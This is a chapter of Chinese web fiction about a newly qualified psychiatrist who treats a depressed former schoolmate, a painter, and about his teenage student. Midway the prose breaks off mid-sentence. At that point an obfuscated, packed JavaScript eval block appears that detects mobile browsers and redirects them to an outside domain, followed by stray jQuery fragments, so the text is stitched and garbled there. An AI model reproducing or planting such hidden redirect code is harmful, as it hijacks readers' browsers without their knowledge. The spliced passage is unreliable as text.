刚从一名实习医生转正不到半年，叶知一天收不到几个病患。来人常是第一周收到的几位。一个久病的良医，药调得快，调得准，患者从一周一诊改到三周一诊也是几轮内的事。
这些年叶知觉得自己还蛮幸运。读不成文科，也没有耽误读精神医学。和齐怀生同年考上江大，离开那座小城和一切冗杂的关系。
她康复了，也常想是什么时候康复的。没有什么大彻大悟豁然开朗的瞬间，不过天发现自己的生活已经变了样，过去的争吵越来越远，药量越来越少。周末同齐怀生路过珠江，江上日落与内海湾的夕阳奇妙地重合，她感到前所未有的平静。世界明亮且真实了起来，她深深融入到江边的人来人往、车水马龙之中。
她打开繁复的锁链，从黑暗中迈出，又是这世界的一员。
那年她二十，刚刚大三，五年痊愈。穿上白大褂，从求救者变为施救者，对每一位前来首诊、无神无措的患者说：我知道你现在一定很痛苦，但请放心，这是可以治好的。
齐怀生说过她：多笑笑，你一笑，病人也愿意和你说话。
今天又添一位首诊。
叶知送走一位复诊患者，又收到一封感谢信，翻来覆去正读着，随手点了叫号。
“请，零七，号，陈向然，到606诊室就诊。”
来了一位久违的熟客。
陈向然消失得突然。叶知从医院回到校园，那个受人追捧的“文艺小王子”仿佛一夜间成了忌讳。问了谁都是摇头、遁走。孙临潼听到她问起，脸霎时苍白，嘴唇颤抖着碎念。叶知凑近了才听清，他说：“不是我……不是我……”
再是申恺，他挑明了，是齐怀生不让说。
重名的很多。大学时听到陈向然的名字，叶知下意识找人，过一会儿回过神，发现是同名的学长。医院实习期间再听到名为陈向然的外科医生，叶知没什么想法，知道对方是全院有名的主任医师。
看到熟面孔，她还是吃了一惊。
天光穿过帘缝，正投在诊室门前。进门的男人正撞上灰白的光亮。他耷着眼，头发蓬松、微卷，脸侧垂下散乱的发丝。陈向然留了长发，后脑勺用皮筋胡乱扎了根狼尾。一圈小胡子没刮，看着有些扎手。
蓝灰色羊毛衫，灯笼裤，俨然一副“艺术家”模样。
叶知手里的茶杯举到唇边，没喝，直盯着他的脸。那双眼乌黑，眼白有血丝。瞳仁不对焦，也不看她，深若古井，无波无澜。
他就那么走过来，拉椅子坐下，目光落在桌上的感谢信。字很大，他能清晰地看到内容。
叶知哆嗦着喝了口茶，烫得直咳嗽。
“咳咳……咳——”
“工作做得不错。”陈向然开口。
叶知多喝了一口，盖上杯子：“谢……谢谢。”
没有叙旧，没有寒暄。仿佛就是初次见面的医患。她压住尴尬的情绪，浏览他的量表分数，划出重度抑郁和重度焦虑两项，问了他的症状。
陈向然说得很熟练，好像曾经无数次交代过这些。
“上一次看病是什么时候？”
“高二。”
“什么时候停药的？”
“高三。”
叶知眼睛都睁大了：“为什么不看医生？”
高亢的女声在小小的诊室里回荡。陈向然从容地沉默，似乎不打算回答这个问题。空气愈加凝固，门外走动、呼喊、叫号的声音此起彼伏。
叶知抵着眉心，当下自我检讨，是自己问错了，她应当问：“为什么今天又来看了？”
陈向然手里把玩着一支圆珠笔，在打印失败的报告单上随手勾了几笔。极其顺手，但他不大记得自己画的什么：“没什么。跟人做了个交换而已。”
“什么交换？”叶知警惕地眯眼。
“有个屁孩儿，学不想上，艺考也不去，就找我学画。非得我看医生吃药，他才回学校去。”
叶知松了口气，只要不是什么奇奇怪怪的灰色交易就好：“那是好事儿嘛。我给你开这几种药，记得按时吃。”
键盘声很清脆。陈向然跟着节奏转笔，最后一下没转成，“咔嗒”掉在桌上。
他一动不动地，垂眸愣了一会儿。
“吃药有用吗，叶知？”
这种问题叶知听过无数遍，也无数次安抚恐惧副作用的病患。她只是从电脑上移开视线——碰上了一双沉静而绝望的眼睛。
那眼睛很深，有一种寒冷在多年前就侵入了他的骨髓。
“你得试试，每个人对药物的适应程度不一样。”叶知很快换了说法，递出诊断书和处方笺，“两周后来复诊，有什么药物反应和我说。”
“嗯，谢谢。”陈向然拿走单子，走向诊室的门。
叶知在电脑上敲击了好几下，也没听到开门声。
“还有事吗向然？”
“那个……”陈向然背对她，狼尾辫挂在凸起的肩骨上，手紧紧握着门把，“那个谁……”
“嗯？”叶知没听清后面的话。
“……没事，谢谢你。”他开门出去，没有回头。
门缝合上，叶知才点下叫号的界面，进来的是一对母女。女儿穿着附中的校服，戴个眼镜，松垮的辫子。一看资料，杨翎，十七岁，在区级二甲医院有过就诊记录。
青少年患者，叶知默默叹了口气。或许她最想帮助的就是这些孩子，可也最头疼这类病号。
叹气的瞬间她低下头，正看到废弃的打印纸上画了一只精致的猫头，大眼睛六道须，额上是阿送独有的标志。比当年他与齐怀生合送予她的生日贺卡画得更好了。线条干净，一气呵成。
她心血来潮想起什么，拿出手机：“不好意思，我打个电话。”
患者的母亲一点不介意，拉着女儿的手不停地说着。
忙音只响了三下，那头传来一个颇有磁性的男声：“干嘛？忙着录像呢。”
叶知手都颤起来：“哥……”
陈向然提着药走出医院，手机又开始振动，他看都不看，红键一划，拒接。
午后阳光惹眼，他眯着眼站在公交站，掏出手机想看看时间，又是来电界面。屏幕上大大的“龙皓”两个字，他感觉眉心一跳，头疼。
还是接了，省得这臭小子蹲在城中村巷尾找他。
“然老师！”一个无比热情的少年声，“咱们下次上课什么时候？我可回学校上课了，你不能食言。”
“食什么言？”陈向然一手插兜，宽松的裤管耷在运动鞋面。
“教我学画啊。”
“不会。”
“怎么就不会了？你上次上得多好啊。”
陈向然捏了捏攒竹穴：“谁他妈给你上过课了？”
“就上回去你家的时候啊。”龙皓一点没觉得这叫强词夺理，“你那幅蝶笼，画得太有味道了。我就看那么几眼，都能学到好多东西啊。”
陈向然轻叹，心想这孩子过誉。看几眼就能学到东西，完全是人家的天赋。
看几眼就能学，那就自己来看看。陈向然只能这么告诉对方。
于是又在家门口看到龙皓，刷着手机，立着羊毛领，一身冬校服，怕是一下课就过来了。城中村窄巷满是黑洼洼的水坑，那发黑的裤管指不定是被哪只路过电驴泼湿的。小少年毫不在意，蹲在那像个街头流氓。
站起来冲他笑，又显得单纯。龙皓今年十七，还在读高一，身高已几乎压过陈向然。
陈向然没看他，钥匙一转进了家门。开起小日光管，是个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301998|182790||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
七十平的住处。小小一方空间，愣圈了二十平地方作画室——各式型号的颜料、画笔、刮刀、画布……琳琅满目堆得到处都是，一走进去，很难有下脚的地方。
用龙皓的话来说，饭吃得挺单一，画具倒应有尽有。
“然老师，又去吃墨鱼仔了？”龙皓往脚上套塑料袋，才小心翼翼踏进画室，“你从那个方向来，一定是去海鲜摊了。”
“嗯。”
“你怎么不换换花样啊？不如我请你吃顿牛排？就当学费了。”
听到牛排，陈向然瞥去一眼。他做过电疗，往事不太记得清，只记得因为“牛排”，惹过某个人不开心。
他没说话，掀开一块黑布，露出室内唯一的画架。《蝶笼》还挂在上面，差不多晾干了。
金黄、橙红、殷红，层层油彩厚实叠加的天空，漩涡一样，飞散彩色的碎片，咋一看，像要把人的意识卷进热烈幽深的画面。这样的天空下有一方形的笼，栏杆延伸出长长的黑影。笼中一只蜷缩的虫，背上残存荧绿的碎末。棕褐发黑，干瘪丑陋。卷须的几分动感昭示它尚有生命。
一只碎了翅膀、囚于笼中的彩蝶。丝丝颤动，还苟活着。龙皓看得入迷，伸手要碰，被陈向然打掉了手。
“没干透。”陈向然说。
龙皓环顾四周——墙上、天花板都是干了的颜料。除此之外没有别的画卷。“你还有几幅画呢？”
“卖了。”陈向然推开窗户，顺手擦亮火机，点了根烟。
小巷上方一线天光，朦朦胧胧给他圈了一层绒边。他形容颓丧，轮廓却是年轻的，轻烟拂过他的下颌线，袅袅向天际去。
龙皓从不懂客气为何物：“老师你别开玩笑了，你哪卖出过画呢。哈哈哈……”笑了好一会，目光被陈向然的侧脸吸引，那面不改色的样子，不像开玩笑，于是笑声直线下滑：“呃……卖了多少？”
陈向然伸出手掌。
龙皓猜了个靠谱的：“五千？”
陈向然摇摇头。
龙皓眼睛亮了：“五万？”
陈向然似乎翻了个白眼。
龙皓的神情像是被金库闪瞎了眼：“该不是五十万吧老师？”
“五百。”
龙皓：“……”
按画的大小、画种划分，五百到三千不等，还是与画廊老板混熟后，给做的推荐。大型画展愿意以低价售画，算是幸运之事。幸运到陈向然疑窦频起，他起先试着交易了一幅画，八百块，钱入卡里，无事发生，他才交出手里其它作品。
没事涂几幅简约的画，一个月的花销就有着落了。没什么不好的，陈向然想。
然而有位爷不同意：“凭什么啊，然老师，这么好的作品你就贱卖了？”
“没什么好作品。”陈向然吐出白雾，在窗台上敲去烟灰，“没有人欣赏，它就没有价值。”
可能是他身上捉摸不透的气质，龙皓不时感到他话里有话。
“那我欣赏，你是不是可以卖给我？”龙皓正色道。
陈向然觑他一眼，烟支举到唇边：“多少？”
“蝶笼。”龙皓指向画架，“十万打底，你去问问展厅，让他们跟我拍卖。”
“成交。”陈向然碾灭烟头，准确地透进烟灰缸，走出门去。
龙皓愣成块木头，扯扯发皱的校服，追到门口喊：“我是帮你抬价啊老师，你把画交给我，我帮你卖，你给我分成怎么样？一成也行。”
洗手间里传来闷闷的回音：“随你便。”
龙皓一蹦三尺高，开始搜刮这画室里的画。大部分都卖出了，只在抽屉里发现一幅用塑料袋包扎起来的旧画。
金橙的天空、绿树、黄花、红绿操场、褐色的楼，五彩缤纷勾勒一个纯白的翩翩少年。